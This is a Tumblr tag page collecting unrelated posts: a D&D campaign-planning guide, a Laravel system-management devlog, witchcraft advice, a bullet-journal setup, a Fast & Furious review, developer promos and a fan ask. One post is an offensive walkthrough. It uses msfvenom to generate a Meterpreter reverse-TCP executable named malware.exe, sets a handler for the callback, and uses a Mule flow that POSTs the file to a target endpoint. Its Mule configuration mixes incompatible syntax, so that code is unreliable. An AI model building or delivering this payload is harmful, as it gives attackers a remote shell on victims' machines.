#and the project setup and framework setup
Explore tagged Tumblr posts
alsaurus-loves-dean · 2 years ago
Text
.
5 notes · View notes
codeonedigest · 1 year ago
Video
youtube
Nestjs Framework Installation & Project Setup Tutorial for JavaScript De... Full Video Link -        https://youtu.be/TZeIqdlLOUQ Check out this new video on the CodeOneDigest YouTube channel! Install Nestjs framework & setup project. Learn how to install Nest framework & setup nestjs project. #video #nestjs #typescript #nodejs #javascript #codeonedigest@java @awscloud @AWSCloudIndia @YouTube @codeonedigest #typescript #javascript #nestjs #javascript #node #nestjstutorial #nestjsmicroservices #nestjsvsexpress #nestjsinstallation #nestjsproject #nestjsprojectsetup #nestjstutorialforbeginners #nestjsexplained #nestjsexampleproject #nestjsmodulesexplained #nestjscontroller #nestjsproviders #nestjsmicroservicestcp #nestjsapplication #nestframeworktutorial #nestjsframework #nestjsfulltutorial #nestjsfullcourse #nestjsproject #nestjsprojecttutorial #nestjsconcepts #nestjs 
1 note · View note
dailyadventureprompts · 1 year ago
Text
Tumblr media
DM Tip: Creating a Campaign Skeleton
Learning to be a better dungeonmaster was a protracted process. A younger me was often so stressed out by the desire to be a better artist that I'd have legitimately mauled a person if it would've revealed to me the wisdom I sought (with my hands or even an actual maul given the chance).
One of my biggest hurdles was the idea of a universal framework for d&d adventures, a guideline that would tell me if the things I was creating were on the right track. It was sorely needed, I loved the process of being creative but without an understanding of how my creative energy was best used I ended up sinking days, weeks, or even months worth of energy into projects that went nowhere. Worse yet, when I DID get a chance to put my ideas into practice at the table they'd frequently spiral out of control and crash, resulting in even more stress.
Over time I learned from these mistakes, I got better, and then I got good. I moved from conscious incompetence to competence, and I ended up having a run of absolutely stellar campaigns that were everything my younger self could have dreamed of: stable, enjoyable, meaningful, and most importantly an absolute delight to my players. Routinely I'd have people, including folks that'd only played with me a few times, mention that getting together to roll dice and listen to me babel on in silly voices was a highlight of their week.
It was as one of these campaigns began to wind down (three years! a satisfying conclusion on the horizon!) and I started looking for a followup scenario that I decided to study all my really successful campaigns and figure out what connected them. The end result was something I'd been looking for for nearly a decade, a reliable format that I could build campaigns around.
I want to preface this section with the understanding that while this information is laid out in a vaguely chronological fashion there's no guarantee that these ideas will occur to you in any particular order. Inspiration is a funny thing, and each idea flows into the others to make a cohesive whole. Due to foreshadowing and setup reasons you're also going to need a pretty solid idea about all of these when starting a campaign, though exact details will likely change/ can be vague up until the moment they're needed.
The Reason: Who are we and what are we doing?
Gives your players a solid background to build their characters around and give them a reason to travel together, rather than having to ad lib one on the spot. Likewise sets expectations of what the campaign is "about" that you can build on or subvert in time. The reason doesn't need to hold true for the entire game, just long enough to serve as a framing device. EG: The Witcher starts out as a "monster of the week" setup and then uses that framework to pivot into politics and prophecy once we've seen the premise play out.
The Pilot/Crashtest Adventure: What's first?
I’ve already written about these, but the general concept is to give your party a mostly contained first outing that doesn’t have any larger bearing on the plot so they can focus on learning how their characters play/building the party dynamic.  By the time the party's finished this first adventure they'll have already started putting down roots in the world: they'll have in jokes, npcs they've started to care about, an understanding of what's on the horizon, and an idea of where they want to go next.
The Central Gameplay Pillar: How does this all work?
It's important to have an idea what your campaign is going to be about in a mechanical sense in addition to its plot and themes. There is a difference between an adventure that has the party delve a dungeon, and a dungeoncrawling focused campaign. I like to lead with these outright during the campaign pitch so that players can know what they're getting into. Your playgroup will likely have strong opinions about what they like and dislike, even if they don't have the words to describe it, so you might need to explain the ideas for them.
The Hub: Where are we?
I think every good campaign has a hub, some kind of settlement that the party returns to between adventures to offload loot, pick up supplies, and sift through the latest gossip to look for the next questhook. Letting the party return to the same place lets them build up a relationship with it, clarifying the picture in their mind as new details are added and they grow more and more attached. It's possible to have multiple hubs over the course of a campaign, but I'd advise really only having one per arc to best concentrate your efforts. Fill up your hub with distractions and side adventures, shorter stories that the party can get tangled up in while the larger adventure slowly reveals itself. Returning to the same hub also means returning to a familiar and expanding cast of NPCs, which helps your party become more and more invested in the setting
The Main Event: What's going to happen?
Here we get to the meat of the issue, the big story you want to be telling using this campaign. To pull off the sick narrative kickflip you wish to perform, you're going to need to lay a lot of groundwork, seeding in details left and right as well as giving the party a chance to stumble across evidence of your schemes without ever realizing the whole thing. To do this, you're going to work in the building blocks of your big reveal/twist/pending disaster into the setting along with those side adventures from the hub. This will give your party an idea that something is going on, but with more pressing matters to take care of they're going to be distracted up until the moment you decide to pull the trigger.
The Setting: What's over there?
While things like genre and tone are definitely things you should have a handle on from the outset, I personally feel like the details of a setting are best constructed on an ad hoc basis, either in a direct response to something required by part of the narrative (be it side story or main event), or pencilled in at the margins as the party explores the world.. That said, creation of the hub and setting often go hand in hand because it's important to match the settlement to the environment and then shape the environment to the quests inside the settlement. As for what's beyond your hub, I happen to have just written something about building out settings.
Now, this next option is one that I recommend you start thinking about only once your campaign is fully underway, so it doesn't clog up your creative process by focusing on something that you might not even get to
The Change: What the fuck?
A little while after the main event has kicked off and your party is off on the quest that will turn them from mere adventurers into heroes, they start to hear rumours of strange happenings. It's certainly not related to the present scenario, it may even be an unexpected windfall, but it's not something they have time to look into. Time ticks on, the land is saved, and the party is able to enjoy their victory lap as well as some dearly needed time off. Before they can get comfortable however they're slammed by some strange occurrence that they could have never predicted that changes the state of the world. A neighbouring kingdom invades, an important ally is murdered and they're blamed for it, a dragon starts rampaging through the realm. Its important that this event is outside the party's skillset, not necessarily diametrically opposed, but counter to what they were planning
artsource
358 notes · View notes
the-nox-syndicate · 22 days ago
Text
SysNotes devlog 1
Hiya! We're a web developer by trade and we wanted to build ourselves a web-app to manage our system and to get to know each other better. We thought it would be fun to make a sort of a devlog on this blog to show off the development! The working title of this project is SysNotes (but better ideas are welcome!)
Tumblr media
What SysNotes is✅:
A place to store profiles of all of our parts
A tool to figure out who is in front
A way to explore our inner world
A private chat similar to PluralKit
A way to combine info about our system with info about our OCs etc as an all-encompassing "brain-world" management system
A personal and tailor-made tool made for our needs
What SysNotes is not❌:
A fronting tracker (we see no need for it in our system)
A social media where users can interact (but we're open to make it so if people are interested)
A public platform that can be used by others (we don't have much experience actually hosting web-apps, but will consider it if there is enough interest!)
An offline app
So if this sounds interesting to you, you can find the first devlog below the cut (it's a long one!):
(I have used word highlighting and emojis as it helps me read large chunks of text, I hope it's alright with y'all!)
Tech stack & setup (feel free to skip if you don't care!)
The project is set up using:
Database: MySQL 8.4.3
Language: PHP 8.3
Framework: Laravel 10 with Breeze (authentication and user accounts) and Livewire 3 (front end integration)
Styling: Tailwind v4
I tried to set up Laragon to easily run the backend, but I ran into issues so I'm just running "php artisan serve" for now and using Laragon to run the DB. Also I'm compiling styles in real time with "npm run dev". Speaking of the DB, I just migrated the default auth tables for now. I will be making app-related DB tables in the next devlog. The awesome thing about Laravel is its Breeze starter kit, which gives you fully functioning authentication and basic account management out of the box, as well as optional Livewire to integrate server-side processing into HTML in the sexiest way. This means that I could get all the boring stuff out of the way with one terminal command. Win!
Styling and layout (for the UI nerds - you can skip this too!)
I changed the default accent color from purple to orange (personal preference) and used an emoji as a placeholder for the logo. I actually kinda like the emoji AS a logo so I might keep it.
Laravel Breeze came with a basic dashboard page, which I expanded with a few containers for the different sections of the page. I made use of the components that come with Breeze to reuse code for buttons etc throughout the code, and made new components as the need arose. Man, I love clean code 😌
I liked the dotted default Laravel page background, so I added it to the dashboard to create the look of a bullet journal. I like the journal-type visuals for this project as it goes with the theme of a notebook/file. I found the code for it here.
I also added some placeholder menu items for the pages that I would like to have in the app - Profile, (Inner) World, Front Decider, and Chat.
Tumblr media
i ran into an issue dynamically building Tailwind classes such as class="bg-{{$activeStatus['color']}}-400" - turns out dynamically-created classes aren't supported, even if they're constructed in the component rather than the blade file. You learn something new every day huh…
Tumblr media
Also, coming from Tailwind v3, "ps-*" and "pe-*" were confusing to get used to since my muscle memory is "pl-*" and "pr-*" 😂
Feature 1: Profiles page - proof of concept
This is a page where each alter's profiles will be displayed. You can switch between the profiles by clicking on each person's name. The current profile is highlighted in the list using a pale orange colour.
Tumblr media
The logic for the profiles functionality uses a Livewire component called Profiles, which loads profile data and passes it into the blade view to be displayed. It also handles logic such as switching between the profiles and formatting data. Currently, the data is hardcoded into the component using an associative array, but I will be converting it to use the database in the next devlog.
Tumblr media
New profile (TBC)
You will be able to create new profiles on the same page (this is yet to be implemented). My vision is that the New Alter form will unfold under the button, and fold back up again once the form has been submitted.
Alter name, pronouns, status
The most interesting component here is the status, which is currently set to a hardcoded list of "active", "dormant", and "unknown". However, I envision this to be a customisable list where I can add new statuses to the list from a settings menu (yet to be implemented).
Tumblr media Tumblr media Tumblr media Tumblr media
Alter image
I wanted the folder that contained alter images and other assets to be outside of my Laravel project, in the Pictures folder of my operating system. I wanted to do this so that I can back up the assets folder whenever I back up my Pictures folder lol (not for adding/deleting the files - this all happens through the app to maintain data integrity!). However, I learned that Laravel does not support that and it will not be able to see my files because they are external. I found a workaround by using symbolic links (symlinks) 🔗. Basically, they allow to have one folder of identical contents in more than one place. I ran "mklink /D [external path] [internal path]" to create the symlink between my Pictures folder and Laravel's internal assets folder, so that any files that I add to my Pictures folder automatically copy over to Laravel's folder. I changed a couple lines in filesystems.php to point to the symlinked folder:
Tumblr media
And I was also getting a "404 file not found" error - I think the issue was because the port wasn't originally specified. I changed the base app URL to the localhost IP address in .env:
Tumblr media
…And after all this messing around, it works!
(My Pictures folder)
Tumblr media
(My Laravel storage)
Tumblr media
(And here is Alice's photo displayed - dw I DO know Ibuki's actual name)
Tumblr media
Alter description and history
The description and history fields support HTML, so I can format these fields however I like, and add custom features like tables and bullet point lists.
Tumblr media
This is done by using blade's HTML preservation tags "{!! !!}" as opposed to the plain text tags "{{ }}".
(Here I define Alice's description contents)
Tumblr media Tumblr media
(And here I insert them into the template)
Tumblr media
Traits, likes, dislikes, front triggers
These are saved as separate lists and rendered as fun badges. These will be used in the Front Decider (anyone has a better name for it?? 🤔) tool to help me identify which alter "I" am as it's a big struggle for us. Front Decider will work similar to FlowCharty.
Tumblr media
What next?
There's lots more things I want to do with SysNotes! But I will take it one step at a time - here is the plan for the next devlog:
Setting up database tables for the profile data
Adding the "New Profile" form so I can create alters from within the app
Adding ability to edit each field on the profile
I tried my best to explain my work process in a way that wold somewhat make sense to non-coders - if you have any feedback for the future format of these devlogs, let me know!
~~~~~~~~~~~~~~~~~~
Disclaimers:
I have not used AI in the making of this app and I do NOT support the Vibe Coding mind virus that is currently on the loose. Programming is a form of art, and I will defend manual coding until the day I die.
Any alter data found in the screenshots is dummy data that does not represent our actual system.
I will not be making the code publicly available until it is a bit more fleshed out, this so far is just a trial for a concept I had bouncing around my head over the weekend.
We are SYSCOURSE NEUTRAL! Please don't start fights under this post
14 notes · View notes
friend-crow · 1 year ago
Note
Hi crow, hope you're doing well. I have a question for you and/or your mutuals reading this.
Im usually too sick and unwell to cast spells anymore, gathering all the ingredients is the biggest problem because i have to walk and thats really painful with my crps. I feel i have the emotional energy for spellcasting but not the physical energy. I have so many spells I'd like to cast but am just stuck in bed too often to do them. Whats a bedridden friendly way to cast spells? I've heard someone in the community mention "energy batteries" but i didn't really look into it. I feel my most useful spell I've done is a wishing necklace, i enchanted the necklace years ago and occasionally make wishes with it that come true, but i don't think i can rely only on that for spellcasting when im not feeling well. Im starting to ramble so I'll end it here. Thanks for any advice.
Hello! I'm sorry to hear you've been struggling. I'm not sure how applicable my advice will be for your situation, especially without knowing what sort of magical framework you're working with, but I'll give it a shot!
Something that's helpful for me is having premade spell vessels for the main sort of categories of needs I might have, which I can recharge and repurpose as needed. There's still a certain amount of set-up involved, but if you can manage to work on them when you're having a relatively good pain day, then you can (ideally) have them on hand for when you're not feeling up to a whole crafting process.
Example: I enjoy planetary magic as a system because you have 7 "planets" (the classical planets include the sun and moon), and they each have their things they can help you with. Between the 7 of them you can basically get your needs met. So I have a book that I made for Jupiter, which has images of the planet, the symbol, seal, kamea square, Orphic hymn, etc. in it, and inside the back cover is a little envelope where I can put petitions for what I currently need. The idea is that it's supposed to function as a sort of combination talisman and portable shrine, so when I want to do something under Jupiter's rulership, I basically just need pen, paper, a candle, and incense to repurpose it.
Side note: I don't know if you're interested in planetary magic, but I plan on making a series of zines that's basically a zine version of what I described above, one for each planet, that people can print out and assemble for free. Eventually. When I'm not drowning in work and other projects.
Along these lines, I recently posted about the fact that I do my job from bed about 60% of the week. I don't have a laptop, so I've had to get creative with my computing setup so that I can use my PC while reclining in bed. It's taken a few years to get my setup dialed in, but something like getting an overbed table can make a huge difference (I think mine was like $70 and worth every penny). Burning candles in bed is iffy, but maybe you can set up an extra bedside table or something for spell work, and really dial in the most basic components you need and can keep within reach. Simple is good! You can really do a lot with just pen and paper.
I also know people who do a lot of spell work during astral travel, which requires no materials or movement. I don't have a ton of experience in this area as I tend to really enjoy working with physical materials, but that might be an avenue to explore.
Alright, that's my thoughts on the matter for the moment. Opening it up to mutuals!
58 notes · View notes
hillbillyoracle · 1 year ago
Text
Sidekick Journal Setup
Wanted to make some notes on how I set up the newest version of my sidekick journal. It's still an A6 Leuchtturm 1917 notebook- though this time I'm using a dot grid, not ruled, version. Still using a Traveler's Notebook Monthly insert in the back as well. Past that, I've adapted it to loosely use the PARA framework by Tiago Forte that I've had luck using with my digital notes.
Tumblr media Tumblr media
Much like last time, I still have a today card for tasks on the front. Some days I pick some out at the beginning. Some days I just write things down as I go. Not much has changed there.
It's worth noting that this journal springs open if I don't keep the strap on it. I use the strap to notch in a gel pen (currently trying to find one of my spare fountain pens to use instead). I don't personally mind this but I know it bugs some others.
Tumblr media Tumblr media
On the back side of the front cover, things have changed more. I still have a next card to jot down tasks that don't need done today that come up throughout a day, but underneath is the P in PARA - projects.
Each project gets it's own card. I like this because things were getting lost in my notebook and I can more easily see what I've committed to so I don't overcommit. Tiago Forte recommends 10-15 projects but I am disabled and have issues with energy so I shoot for 5-10. I think currently I have 9 which is a little on the high side.
They all fit nicely under the black clip here and I can shuffle through them each day to see what I want to work on.
Tumblr media Tumblr media
I have a To Read, To Watch, To Listen (podcasts), and To Listen (music). I occasionally have people recommend me things and they tend to get lost in my phone. So this is just a space to jot those down. My complete TBR is still kept in Storygraph atm. My TBW is on Letterboxd (kind of). I don't listen to a lot at the moment but I'm hoping to change that.
Tumblr media Tumblr media
For the first A in PARA - Areas - I set up topical indexes. I know a lot of people tend to have a lot more but I group my stuff under Personal, Home, Work, and Ria (my partner). Personal is just me. Home is anything shared with Ria. Work is mostly writing and freelance projects at the moment. Ria is for anything that is just for Ria. Anything that doesn't fit in the categories goes in the main index that comes preset up in the notebook.
This way I can jot down whatever notes I want in this notebook but when I'm looking for something specific or just want to see what's going on in a given area, I can flip to that index.
Tumblr media
This is just an example of the kinds of things I tend to use this notebook for. I did a menu plan and wrote down the order of steps to make a new dish I wanted to try (came out really nice). It's mostly to just order my thoughts and help my brain let go of things.
Tumblr media Tumblr media
This is the Traveler's Notebook Passport Size Monthly Insert I really enjoyed last year. I've set up the first few months and will set up a few more. I need to go back in and add events/holidays.
A big reason why this still felt necessary is that I'm looking at switching to a dumbphone which means I won't necessarily have access to Google Calendar on the go. So I plan to keep this as up to date as possible. I might use it for some light memory keeping as well.
Tumblr media
Lastly, I flip the notebook upside down from the back and this is where my commonplacing will go which will be how I manage the R in PARA - resources. I have 3 categories I tend to like jotting down information about to start with but there's room for more. I won't keep the markers with me but will periodically add circles for ease of reference.
For the last A in PARA I'm planning on storing these in a nice box when I'm done with them.
I don't really intend to journal in this though I suppose I could. I have a separate "bullet journal" that in all honesty I don't use super often. I do stream of consciousness journaling on 750words.com. It's mostly to jot down notes and get things out of my head quickly. I like that it's small enough to toss into most bags.
Hope this is interesting to someone!
28 notes · View notes
drunkonschadenfreude · 2 months ago
Text
very anxious about this new project lmao. We're the only 2 people from our company in a team of 10 (with an external product owner and project lead) and we're supposed to also act as experts on our company framework. the other dev is the junior I was a lead of in the last project 💀
I feel out of my depth but think rationally I'm fine. She feels very out of her depth and I think she really could be so I'll probably have to manage her again extensively while in an uncomfortable project setup myself lmao
2 notes · View notes
aamoditsolutionspvtltd · 2 months ago
Text
Aamod ItSolutions: Crafting Custom Websites with Modern Technologies for Your Business’s Success
In today’s digital world, having an effective website is crucial for business success. Aamod ItSolutions offers expert web design, development, and marketing services that help businesses make the most of their online platforms. Our team of skilled designers and developers uses modern technologies to build custom, user-friendly, and reliable websites tailored to your specific needs.
Why Web Development Matters
A website serves as a business’s online identity. It enables businesses to reach a wider audience, engage with customers, and boost sales. A professionally developed website builds trust, enhances credibility, and positions your business as a leader in the market.
At Aamoditsolutions, we focus on delivering websites that provide excellent user experience (UX), performance, and scalability. We employ various modern technologies to ensure your site meets business goals efficiently.
Technologies We Use
Laravel: Laravel is a powerful PHP framework used for building secure, scalable web applications. It simplifies development with features like Eloquent ORM for database management and Blade templating for creating dynamic views. Laravel is great for complex applications with robust security features.
CodeIgniter: CodeIgniter is a lightweight PHP framework known for its speed and simplicity. It’s ideal for developers looking for quick setups and minimal configuration. With its MVC architecture, CodeIgniter is perfect for building fast, high-performance websites, especially when project deadlines are tight.
CakePHP: CakePHP is another PHP framework that streamlines the development process with built-in features like form validation and security components. It helps deliver web apps quickly without compromising quality. CakePHP is ideal for projects that need rapid development with a focus on database-driven applications.
Node.js: Node.js is a JavaScript runtime for building fast and scalable applications. It is especially useful for real-time web apps such as chat applications or live notifications. Node.js provides non-blocking I/O operations, enabling it to handle many simultaneous connections without performance loss.
AngularJS: AngularJS is a framework developed by Google for building dynamic, single-page applications (SPAs). Its features like two-way data binding and dependency injection make it perfect for building interactive user interfaces that update in real time without reloading the entire page.
Why Choose Aamod ItSolutions?
At AamodItSolutions, we use the latest tools and technologies to build high-performance, secure, and user-friendly websites that help you grow your business. Whether you’re a startup or a large corporation, we create custom solutions that align with your objectives.
We understand that every business has unique needs. That’s why we choose the right technology for each project to ensure optimum results. By working with us, you can expect a website that provides a seamless experience for your users and contributes to your business growth.
Let Aamod ItSolutions help you create a powerful online presence that engages customers and drives business success.
3 notes · View notes
andmaybegayer · 2 years ago
Text
Project "Let's watch every single Fast & Furious movie"
Alright I looked at the Wikipedia page and apparently in addition to all this they have six seasons of an animated series about *checks notes* a group of evil racers bent on world domination. Cool. I will decide whether I'm watching that or not later let's just do the movies for now.
The Fast And The Furious (2001)
Oh there's so much on display here. FF was not the first bit of street racing media but it was what brought it into the mainstream for sure, and the echoes of this movie are still being felt. This influence is made all the better by the fact that the movie has no goddamn clue any of this is about to happen.
You may look at the big beefy muscleboys and sexy fawning girls and go "this is going to have a lot of gender in it isn't it" and while you wouldn't be wrong you'd be missing that gender mostly takes a backseat to race. There's a lot of race in this thing. You've got the three racially distinct gangs with their racially distinct hangers on driving their somehow racially distinct cars. Or in the case of the nebulously Asian group, racially distinct motorcycles, because. Japan.
The setting is so 2000's, unbearably normal suburbs of Hollywood. Dominic Torretto lives in the most ordinary suburban house I've seen in a movie in years, because of course it's 2001 and everyone does not yet live in ethereal perfectly decorated minimalist houses. This really helps sell the multiple times the Gang are all hanging out in this space watching a shitty move on a tiny TV or having a fun little barbecue in the backyard.
Tumblr media Tumblr media
I'm not sure they had realized they had made this little found family so endearing yet because about 20 minutes after this scene, Torretto takes the protagonist for a walk and tells him all about how the only thing he cares about is drag racing and screw his gang, which I expected to be a setup for a more explicit realization/rejection later but no he reiterates this in full at the end of the movie with no apparent realization. This despite
The fun barbecue and movie times
Toretto immediately going after his missing friend when he is at extreme risk of going to prison
I think they probably only figured the whole family angle out fully later but you can see the framework is already here.
Actually an aside for the funniest bit of Torretto characterization in the movie: shortly after winning a race, almost getting busted, getting saved from the police by the new kid, accidentally violating a gang agreement, getting threatened by the Asian gang (in front of a chinese restaurant), almost getting killed in an explosion, and catching a taxi home, he gets in to his house where a moderately rowdy house party is going on. His girlfriend comes up and is like "hey do you want to go upstairs and have some epic sex with your win wife" to which his response is:
"But what about all our guests?"
Perfect moment no notes. A man who is wondering whether they're going to run out of nachos.
I had to remind myself very often that this show was from 2001, so when they pull out a 1995 Supra my first thought was "oh, of course, the 2JZ is a legend" not, "oh, the current Supra." This happens with a few cars, the Honda S2000 is a 1999 car, it's basically brand new in this movie, not the classic that we now know is a huge pain in the ass because it only makes any power at redline.
You know people made fun of FF for being obsessed with shifting and I don't see it. They do make a note of it but I mean come on, it's a drag racing movie, shifting is 9/10ths of the game. It's not overdone.
The cinematography is so much. Most of the time it's reasonably normal, some fun crane work when they're out in the desert, but the amount of compositing and post-processed camera shake and bizarre undercranked cuts during races is unbelievable. The undercranking especially is so weird, it's an unusual approach to conveying speed, standard cinematography would say you want to have motion blur but these were shot either extremely slowly or with extremely small shutter angle so it looks almost stop motion. It's almost the opposite.
Tumblr media
You may notice I am not really talking about the plot, and I'm not really talking about the romantic subplot either. These both exist. The romantic subplot of Mia and Brian is fine, it's cute, but it's so foregone as to be ignorable. It is eye candy if nothing else, Paul Walker went full force prettyboy for this movie, it's unreal. The plot is there to move you from scene to scene but this is absolutely more of a movie about each individual scene rather than what happens when you put those scenes in sequence.
The emotional through line of all these independent scenes is reasonably strong. As mentioned, you get to see Toretto and his buds hanging out and bonding, they're all so endearing, the scrappy ECU tuner tells our protagonist about how he dropped out of school despite being good at maths because he has ADD. The choice to not show Brian ever being a cop, and instead dropping you right in the middle means you have no attachment to whatever past life he may have had, I don't think you learn a single thing about his actual background beyond "cop who wants to make detective" and "quit smoking."
I am very interested to see how the rest of the series handles the character of Toretto because he has a lot of room to be a very strange kind of center of gravity around which other people collect, but he could also just become a modern Big Beefy Action Hero and that would suck. I do think he just fucks off for the next two or three movies though, so.
Brief return to "this setting is normal as fuck," the climactic final drag race occurs on the back street outside a high school. Zero flair.
The Fast and Furious movies have long reaching consequences in other media. It's no surprise that Need for Speed Underground came out two years after this. I'm interested to see some parallels in wider media as I go here, obviously Tokyo Drift was what brought Initial-D style drift obsession to people who didn't watch Anime, and street racing went from being a niche thing that only people invested in the scene cared about to being a thing twelve year olds cared about.
50 notes · View notes
kennethcabibil · 9 months ago
Text
August 19, 2024 | SDE
Today, I spent time polishing my knowledge (ExpoGo, Android Studio, React Native), focusing on refining the basics and getting more comfortable with the React Native framework. I also started to setup the workspace for our project, the "Digitized Log Book System for Small-scale Market Owners." VSCode will be our main coding environment, and I’ve started to configure it to suit our needs. Earlier, I also went through the asynchronous lessons shared by Sir Carl via Google Drive. It is about Software Engineering's codes and ethics, definition, tools, and SDLC. Every day brings new challenges, but also new learning opportunities. I’m eager to keep pushing forward!
Tumblr media Tumblr media
2 notes · View notes
masllp · 9 months ago
Text
Setting up a Business in India with MAS LLP: Your Path to Success
Establishing a business in the USA can be a rewarding endeavor, offering access to one of the world’s largest and most dynamic markets. However, navigating the complexities of the American business environment requires expertise and strategic planning. This is where MAS LLP steps in. With years of experience and a dedicated team, MAS LLP provides comprehensive support to entrepreneurs and businesses aiming to set up their operations in the USA.
Tumblr media
Why Choose the Setting up Business? The USA is an attractive destination for businesses due to its: Robust Economy: As the world's largest economy, the USA offers immense opportunities for growth and expansion. Innovation Hub: Home to Silicon Valley and other innovation centers, the USA is at the forefront of technological advancements. Diverse Market: With a diverse population, businesses can target various demographics and niches. Supportive Legal Framework: The country offers a supportive legal and regulatory framework for businesses. Steps to Setting Up a Business in the USA Setting up a business in the USA involves several critical steps. MAS LLP is here to guide you through each phase, ensuring compliance and efficiency.
Business Plan Development Before anything else, a solid business plan is essential. This plan should outline your business goals, target market, competition analysis, financial projections, and operational strategies. MAS LLP can assist in crafting a robust business plan tailored to the US market.
Choosing the Right Business Structure The next step is selecting the appropriate business structure, such as: Sole Proprietorship: Simple and easy to establish, suitable for small businesses. Partnership: Ideal for businesses with multiple owners. Limited Liability Company (LLC): Provides liability protection and flexible tax options. Corporation: Suitable for larger businesses, offering strong liability protection and easier access to capital. MAS LLP provides expert advice on the best structure for your business needs.
Registering Your Business Once the business structure is chosen, the next step is registration. This involves: Choosing a unique business name. Filing the necessary documents with state authorities. Obtaining an Employer Identification Number (EIN) from the IRS for tax purposes. MAS LLP handles all the paperwork, ensuring a smooth registration process.
Understanding Tax Obligations Navigating the US tax system can be complex. Businesses must comply with federal, state, and local tax requirements. MAS LLP offers comprehensive tax advisory services, helping you understand and meet your tax obligations efficiently.
Compliance with Legal and Regulatory Requirements Compliance is crucial to avoid legal pitfalls. This includes: Obtaining the necessary licenses and permits. Adhering to labor laws and regulations. Ensuring compliance with industry-specific regulations. MAS LLP ensures that your business is fully compliant with all legal and regulatory requirements. How MAS LLP Can Help MAS LLP is dedicated to supporting your business journey in the USA. Here’s how we can assist: Consultation and Advisory Services: Expert advice on business setup and growth strategies. Business Plan Development: Crafting a comprehensive business plan tailored to the US market. Legal and Regulatory Compliance: Ensuring your business meets all legal and regulatory requirements. Tax Advisory Services: Comprehensive tax planning and compliance support. Ongoing Support: Continuous support to help your business thrive in the US market. Success Stories MAS LLP has a proven track record of helping businesses succeed in the USA. Here are a few success stories: Tech Startup: Assisted a tech startup in Silicon Valley with business setup, securing funding, and achieving rapid growth. Manufacturing Firm: Helped a manufacturing firm from Asia establish operations in the US, resulting in a 200% increase in sales within two years. Retail Business: Guided a retail business through the complexities of the US market, leading to successful market penetration and expansion. Get Started with MAS LLP Setting up business in USA is a significant step towards global growth. With MAS LLP by your side, you can navigate the complexities with confidence and ease. Contact us today to learn more about how we can help you achieve success in the US market.
5 notes · View notes
yethiconsulting · 9 months ago
Text
How to Integrate Testing Automation Tools into Your CI/CD Pipeline
Integrating testing automation tools into your Continuous Integration/Continuous Deployment (CI/CD) pipeline is crucial for enhancing software quality and accelerating delivery cycles. The first step is to select the right automation tool that aligns with your technology stack and project requirements. Popular choices include Selenium for web applications, Appium for mobile apps, and JUnit for Java-based projects.
Once the tool is chosen, configure your CI/CD pipeline to include automated testing at various stages. Begin with unit tests during the build phase to catch issues early. Tools like Jenkins, CircleCI, or GitLab CI can be configured to trigger these tests automatically with each code commit. Ensure that the testing environment mirrors the production setup to achieve accurate results.
Next, integrate automated functional and regression tests in the pre-deployment phase. These tests should validate end-to-end functionalities and ensure that new changes do not break existing features. Using frameworks like TestNG or Cucumber can help manage these tests effectively.
Additionally, incorporate performance and load testing tools like JMeter or Gatling to assess the application's behavior under stress. These tests can be scheduled to run during off-peak hours to avoid interference with regular development activities.
Finally, maintain a robust reporting mechanism to track test results and generate insights. Tools like Allure or TestRail can provide detailed reports and dashboards, facilitating quick identification and resolution of issues.
By strategically integrating testing automation tools into your CI/CD pipeline, you ensure a reliable, efficient, and scalable approach to software delivery, ultimately leading to higher quality products and faster release cycles.
3 notes · View notes
mulemasters · 11 months ago
Text
Metasploit: Setting a Custom Payload Mulesoft
To transform and set a custom payload in Metasploit and Mulesoft, you need to follow specific steps tailored to each platform. Here are the detailed steps for each:
Metasploit: Setting a Custom Payload
Open Metasploit Framework:
msfconsole
Select an Exploit:
use exploit/multi/handler
Configure the Payload:
set payload <payload_name>
Replace <payload_name> with the desired payload, for example: set payload windows/meterpreter/reverse_tcp
Set the Payload Options:
set LHOST <attacker_IP> set LPORT <attacker_port>
Replace <attacker_IP> with your attacker's IP address and <attacker_port> with the port you want to use.
Generate the Payload:
msfvenom -p <payload_name> LHOST=<attacker_IP> LPORT=<attacker_port> -f <format> -o <output_file>
Example: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /tmp/malware.exe
Execute the Handler:
exploit
Mulesoft: Transforming and Setting Payload
Open Anypoint Studio: Open your Mulesoft Anypoint Studio to design and configure your Mule application.
Create a New Mule Project:
Go to File -> New -> Mule Project.
Enter the project name and finish the setup.
Configure the Mule Flow:
Drag and drop a HTTP Listener component to the canvas.
Configure the HTTP Listener by setting the host and port.
Add a Transform Message Component:
Drag and drop a Transform Message component after the HTTP Listener.
Configure the Transform Message component to define the input and output payload.
Set the Payload:
In the Transform Message component, set the payload using DataWeave expressions. Example:
%dw 2.0 output application/json --- { message: "Custom Payload", timestamp: now() }
Add Logger (Optional):
Drag and drop a Logger component to log the transformed payload for debugging purposes.
Deploy and Test:
Deploy the Mule application.
Use tools like Postman or cURL to send a request to your Mule application and verify the custom payload transformation.
Example: Integrating Metasploit with Mulesoft
If you want to simulate a scenario where Mulesoft processes payloads for Metasploit, follow these steps:
Generate Payload with Metasploit:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /tmp/malware.exe
Create a Mule Flow to Handle the Payload:
Use the File connector to read the generated payload file (malware.exe).
Transform the file content if necessary using a Transform Message component.
Send the payload to a specified endpoint or store it as required. Example Mule flow:
<file:read doc:name="Read Payload" path="/tmp/malware.exe"/> <dw:transform-message doc:name="Transform Payload"> <dw:set-payload><![CDATA[%dw 2.0 output application/octet-stream --- payload]]></dw:set-payload> </dw:transform-message> <http:request method="POST" url="http://target-endpoint" doc:name="Send Payload"> <http:request-builder> <http:header headerName="Content-Type" value="application/octet-stream"/> </http:request-builder> </http:request>
Following these steps, you can generate and handle custom payloads using Metasploit and Mulesoft. This process demonstrates how to effectively create, transform, and manage payloads across both platforms.
3 notes · View notes
rollercoasterwords · 2 years ago
Note
hey rae, congrats on winning the costume contest! gotta be honest, i got very curious about what you think about promising young woman's politics and the ending. i remember enjoying it, other than thinking it was a bit irresponsable at some parts... but also i watched it a while ago and dont really remember much from it. im currently reading the zombie essays you rec'd, and im franlky loving it so so much. monster theory my beloved. And this is the first time im reading about zombies through sexuality lens, all essays i've read about zombies so far were about afro-latin religions and black resistance during colonization, but im loving, reading it in bed while giggling and quicking my feet, etc.... bc "queer zombie jesus" deserves to be a bed read cmom look at that sexy combination of words. hope you're doing well!! xxx substack guy
